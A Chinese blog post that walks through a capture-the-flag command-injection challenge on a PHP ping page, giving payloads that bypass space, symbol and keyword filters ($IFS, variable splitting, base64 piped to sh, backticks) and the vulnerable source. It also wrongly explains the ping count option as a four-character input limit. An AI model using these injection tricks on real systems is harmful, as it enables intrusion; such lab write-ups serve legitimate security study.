0
点赞
收藏
分享

微信扫一扫

BUUCTF [GXYCTF2019]Ping Ping Ping 1

晒大太阳了 2022-03-12 阅读 217

[GXYCTF2019]Ping Ping Ping 1

在本题我们考察的是命令执行

已进入本关,我们发现他在询问 ?ip

我们先尝试输入

?ip=127.0.0.1

发现访问成功

查询一下它的目录:

?ip=127.0.0.1|ls

发现有两个文件夹flag.php,index.php,发现 flag 我们尝试访问 flag。

?ip=127.0.0.1|cat flag.php

点击查询,页面回显 fxck your space
很明显我们需要进行一个空格的过滤

输入之后

?ip=127.0.0.1|cat<flag.php

发现:
在这里插入图片描述

可以知道,在本题它还过滤了 符号

所以我们换一种 空格的过滤方法:


?ip=127.0.0.1|cat$IFS$1flag.php

在这里插入图片描述

坏了,它把flag都给过滤了,已经没有什么好的办法了,只能先尝试访问一下前面的 index.php

?ip=127.0.0.1|cat$IFS$1index.php

在这里插入图片描述

访问源码:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

源代码告诉我们 如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤),并且如果我们构造的payload中有 空格 页面就会返回一个 fxck your space ,如果我们构造的payload中有 bash 页面就会返回一个 fxck your bash…

if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip),换句话说我们只能输入四个字符

之后输出<pre>(输出原代码),并且将变量 a 所表示的数据给打印出来,如果我们令 $a=g;那么就可以巧妙的饶过falg的黑名单

构造:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看页面源代码,发现flag。
在这里插入图片描述
当然这里还有别的办法例如借用sh来构造shell 对cat flag.php进行base编码---->Y2F0IGZsYWcucGhw(这里bash被黑名单过滤了,不然也可以使用)

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

还有一种大佬操作,是我查询博客才了解的

内联执行 (真·大佬操作,小弟只有膜拜的份儿)

ip=127.0.0.1;cat$IFS$9`ls`

​ 注:内联,就是将反引号内命令的输出作为输入执行。

举报

相关推荐

0 条评论